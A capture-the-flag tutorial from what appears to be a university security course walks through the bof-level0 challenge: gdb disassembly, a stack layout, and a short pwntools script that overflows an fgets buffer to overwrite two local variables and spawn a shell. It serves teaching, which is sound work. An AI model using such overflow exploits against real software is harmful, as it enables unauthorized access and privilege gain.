# bof-level0 tutorial Let's fetch the challenges for this unit into your home directory. You may stay at your home directory, and please run the following command: ```bash $ cd # change to home directory. $ fetch unit2 # fetching unit2 to local directory. Sucessfully fetched unit2 ``` Then, the program will create all the directories and symbolic links to the challenges in your local home directory as follows: ```bash $ find unit2 unit2 unit2/bof-level4 unit2/bof-level4/bof-level4 unit2/bof-level4/README unit2/bof-level4/flag unit2/bof-level3 unit2/bof-level3/bof-level3 unit2/bof-level3/README unit2/bof-level3/flag unit2/bof-level6 unit2/bof-level6/bof-level6 unit2/bof-level6/README unit2/bof-level6/flag unit2/bof-level7 unit2/bof-level7/bof-level7 unit2/bof-level7/README unit2/bof-level7/flag unit2/bof-level9 unit2/bof-level9/bof-level9 unit2/bof-level9/README unit2/bof-level9/flag unit2/bof-level0 unit2/bof-level0/README unit2/bof-level0/bof-level0 unit2/bof-level0/flag unit2/bof-level2 unit2/bof-level2/README unit2/bof-level2/bof-level2 unit2/bof-level2/flag unit2/bof-level8 unit2/bof-level8/README unit2/bof-level8/bof-level8 unit2/bof-level8/flag unit2/bof-level1 unit2/bof-level1/README unit2/bof-level1/bof-level1 unit2/bof-level1/flag unit2/bof-level5 unit2/bof-level5/README unit2/bof-level5/bof-level5 unit2/bof-level5/flag ``` Let's get into bof-level0. ```bash kjee@ctf-vm1.utdallas.edu:/home/kjee/unit2/bof-level0 $ ls -trl total 0 lrwxrwxrwx 1 kjee kjee 34 Feb 6 07:06 README -> /home/labs/unit2/bof-level0/README lrwxrwxrwx 1 kjee kjee 38 Feb 6 07:06 bof-level0 -> /home/labs/unit2/bof-level0/bof-level0 lrwxrwxrwx 1 kjee kjee 32 Feb 6 07:06 flag -> /home/labs/unit2/bof-level0/flag ``` You may see the challenge files here. Before solving the challenge, I highly recommend you to read the README file in the directory: ```bash $ cat README Stack is configured as follows: [ebp-0x20] buffer (grow downward) [ebp-0x1c] [ebp-0x18] [ebp-0x14] [ebp-0x10] [ebp-0xc] b = 0x42424242 [ebp-0x8] a = 0x41414141 [ebp-0x4] [ebp] saved ebp [ebp+0x4] return address ``` You need to overwrite both 'a' and 'b' to make: `a = 0x48474645` and `b = 0x44434241`? So, the challenge is to change the values in local variables by exploiting buffer overflow vulnerability. Let's take a look at the binary program. ```bash $ gdb ./bof-level0 pwndbg> disass main Dump of assembler code for function main: 0x08048660 <+0>: push %ebp 0x08048661 <+1>: mov %esp,%ebp 0x08048663 <+3>: sub $0x8,%esp 0x08048666 <+6>: call 0x8048570 0x0804866b <+11>: xor %eax,%eax 0x0804866d <+13>: add $0x8,%esp 0x08048670 <+16>: pop %ebp 0x08048671 <+17>: ret End of assembler dump. ``` And let's do another disassembly on *receive_input()*. ```bash pwndbg> disass receive_input Dump of assembler code for function receive_input: 0x08048570 <+0>: push %ebp 0x08048571 <+1>: mov %esp,%ebp 0x08048573 <+3>: push %esi 0x08048574 <+4>: sub $0x54,%esp 0x08048577 <+7>: lea 0x8048727,%eax <-- 1st arg.. 0x0804857d <+13>: movl $0x41414141,-0x8(%ebp) <-- ebp_8 = 0x41414141; 0x08048584 <+20>: movl $0x42424242,-0xc(%ebp) <-- ebp_c = 0x42424242; 0x0804858b <+27>: mov -0x8(%ebp),%ecx <-- 3rd 0x0804858e <+30>: mov -0xc(%ebp),%edx <-- 3rd 0x08048591 <+33>: mov %eax,(%esp) <-- 1st arg 0x08048594 <+36>: mov %ecx,0x4(%esp) <-- 2nd arg 0x08048598 <+40>: mov %edx,0x8(%esp) <-- 3rd arg 0x0804859c <+44>: call 0x8048390 ```` Above disassembly translates to ```c int ebp_8 = 0x41414141; int ebp_c = 0x42424242; printf("Values in two local variables are:\na = 0x%08x and b = 0x%08x\n", ebp_8, ebp_c) ``` and more printf functions to output messages. ```bash 0x080485a1 <+49>: lea 0x8048765,%ecx 0x080485a7 <+55>: mov %ecx,(%esp) 0x080485aa <+58>: mov %eax,-0x24(%ebp) <-- preserving %eax to one of local var. 0x080485ad <+61>: call 0x8048390 <-- overwrites $eax ``` to ```c printf("Can you change these values to:\na = 0x48474645 and b = 0x44434241?\n") ``` again ```bash 0x080485b2 <+66>: lea 0x80487a9,%ecx 0x080485b8 <+72>: mov %ecx,(%esp) 0x080485bb <+75>: mov %eax,-0x28(%ebp) 0x080485be <+78>: call 0x8048390 ``` translates to ```c printf("Type YES if you agree with this... (a fake message, you may overflow the input buffer).\n") ``` Please note that addresses `0x8048727`, `0x8048765`, and `0x80487a9` maps to read-only segments for global variables. ```bash gef➤ x/s 0x8048727 0x8048727: "Values in two local variables are:\na = 0x%08x and b = 0x%08x\n" gef➤ x/s 0x8048765 0x8048765: "Can you change these values to:\na = 0x48474645 and b = 0x44434241?\n" gef➤ x/s 0x80487a9 0x80487a9: "Type YES if you agree with this... (a fake message, you may overflow the input buffer).\n" ``` Next, the program gets input from `stdin`: ```bash 0x080485c3 <+83>: mov $0x80,%ecx 0x080485c8 <+88>: lea -0x20(%ebp),%edx <-- 1st arg 0x080485cb <+91>: mov 0x804a040,%esi 0x080485d1 <+97>: mov %edx,(%esp) <-- 1st, ebp_0x20 0x080485d4 <+100>: movl $0x80,0x4(%esp) <-- 2nd arg, 0x80 0x080485dc <+108>: mov %esi,0x8(%esp) <-- 3rd arg: 0x804a040... 0x080485e0 <+112>: mov %eax,-0x2c(%ebp) 0x080485e3 <+115>: mov %ecx,-0x30(%ebp) 0x080485e6 <+118>: call 0x80483a0 pwndbg> x/x 0x804a040 0x804a040 : 0x00 ``` `0x804a040` indicates `stdin`, so this translates to: ```bash fgets(ebp_0x20, 0x80, 0x804a040); ``` and, this [fgets] receives user input terminated by either length *0x80* or a newline (`\n`); Ah, wait, how many bytes does it read? 0x80, 128. And, what's the size of the buffer? We have some local variables at `ebp-0x8` and `ebp-0xc`, and our buffer is located at `ebp-0x20`. Let's draw a stack: ```bash [ebp - 0x20] buffer for fgets [ebp - 0x1c] [ebp - 0x18] [ebp - 0x14] [ebp - 0x10] [ebp - 0xc] 0x42424242 [ebp - 0x8] 0x41414141 [ebp - 0x4] [ebp] [ebp + 0x4] ``` And our fgets receives 0x80 bytes. Then, we can overwrite both variables at `ebp-0x8` and `ebp-0xc`! Let's further reverse the program. ```bash 0x080485eb <+123>: lea 0x8048802,%ecx 0x080485f1 <+129>: mov -0x8(%ebp),%edx 0x080485f4 <+132>: mov -0xc(%ebp),%esi 0x080485f7 <+135>: mov %ecx,(%esp) <-- 1st, 0x8048802 0x080485fa <+138>: mov %edx,0x4(%esp) <-- 2nd, ebp_8 0x080485fe <+142>: mov %esi,0x8(%esp) <-- 3rd, ebp_c 0x08048602 <+146>: mov %eax,-0x34(%ebp) 0x08048605 <+149>: call 0x8048390 ``` to ```bash printf("Now the variables store:\na = 0x%08x b = 0x%08x\n", ebp_8, ebp_c); ``` And the following snippet ```bash 0x0804860a <+154>: cmpl $0x48474645,-0x8(%ebp) 0x08048611 <+161>: mov %eax,-0x38(%ebp) 0x08048614 <+164>: jne 0x8048642 ``` to ```c if (ebp_8 == 0x48474645) { 0x0804861a <+170>: cmpl $0x44434241,-0xc(%ebp) 0x08048621 <+177>: jne 0x8048642 if(ebp_c == 0x44434241) { 0x08048627 <+183>: lea 0x8048832,%eax 0x0804862d <+189>: mov %eax,(%esp) 0x08048630 <+192>: call 0x8048390 0x08048635 <+197>: mov %eax,-0x3c(%ebp) 0x08048638 <+200>: call 0x8048500 0x0804863d <+205>: jmp 0x8048653 // Yes, it runs `get_a_shell`.. } } ``` And the following snippet ```bash 0x08048642 <+210>: lea 0x804883a,%eax 0x08048648 <+216>: mov %eax,(%esp) 0x0804864b <+219>: call 0x8048390 0x08048650 <+224>: mov %eax,-0x40(%ebp) 0x08048653 <+227>: add $0x54,%esp 0x08048656 <+230>: pop %esi 0x08048657 <+231>: pop %ebp 0x08048658 <+232>: ret ``` to ```c int ebp_8 = 0x41414141; int ebp_c = 0x42424242; char ebp_0x20[20]; fgets(ebp_0x20, 0x80, stdin); if (ebp_8 == 0x48474645) { if(ebp_c == 0x44434241) { get_a_shell(); } } ``` On the stack, if we put 20 bytes of 'A's, then the stack will be: ```bash [ebp - 0x20] AAAA # buffer starts here. [ebp - 0x1c] AAAA [ebp - 0x18] AAAA [ebp - 0x14] AAAA [ebp - 0x10] AAAA [ebp - 0xc] 0x42424242 [ebp - 0x8] 0x41414141 [ebp - 0x4] [ebp] [ebp + 0x4] ``` and if we put more bytes, such as BBBBCCCC, then the stack will be: ```bash [ebp - 0x20] AAAA # buffer starts here. [ebp - 0x1c] AAAA [ebp - 0x18] AAAA [ebp - 0x14] AAAA [ebp - 0x10] AAAA [ebp - 0xc] 0x42424242 (BBBB) [ebp - 0x8] 0x41414141 (CCCC) [ebp - 0x4] [ebp] [ebp + 0x4] ``` So, what we need to send to the program is: ``` b"AAAAAAAAAAAAAAAAAAAA" (20 bytes of A's), 0x44434241 (b"ABCD"), and 0x48474645 (b"EFGH") ``` And to send input to the program, we will use [pwntools]. Pwntools are python library that makes our exploit development easy. To send b"A" * 20 + b"ABCD" + b"EFGH", we may write the following program: ```python $ cat > exploit.py #!/usr/bin/env python from pwn import * # create process and run the program p = process("./bof-level0") # send data with newline p.sendline(b"A"*20 + b"ABCDEFGH") # open an interactive console to the program p.interactive() ``` Running of this script will make the stack as: ```bash [ebp - 0x20] buffer for fgets (AAAA) [ebp - 0x1c] AAAA [ebp - 0x18] AAAA [ebp - 0x14] AAAA [ebp - 0x10] AAAA [ebp - 0xc] 0x44434241 (ABCD) [ebp - 0x8] 0x48474645 (EFGH) [ebp - 0x4] [ebp] [ebp + 0x4] ``` and will pass the check. Let's run it! ```bash $ chmod +x ./exploit.py $ ./exploit.py [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/users/kjee/.pwntools-cache/update to 'never'. [*] You have the latest version of Pwntools (3.12.2) [+] Starting local process './bof-level0': pid 16392 [*] Switching to interactive mode Values in two local variables are: a = 0x41414141 and b = 0x42424242 Can you change these values to: a = 0x48474645 and b = 0x44434241? Type YES if you agree with this... (a fake message, you may overflow the input buffer). Now the variables store: a = 0x48474645 b = 0x44434241 Great! Spawning a privileged shell $ cat flag candl{!!!!!!!!!!REDACTED!!!!!!!!!!} ``` --- [pwntools]:https://docs.pwntools.com/en/stable/ [fgets]:(https://man7.org/linux/man-pages/man3/fgets.3p.html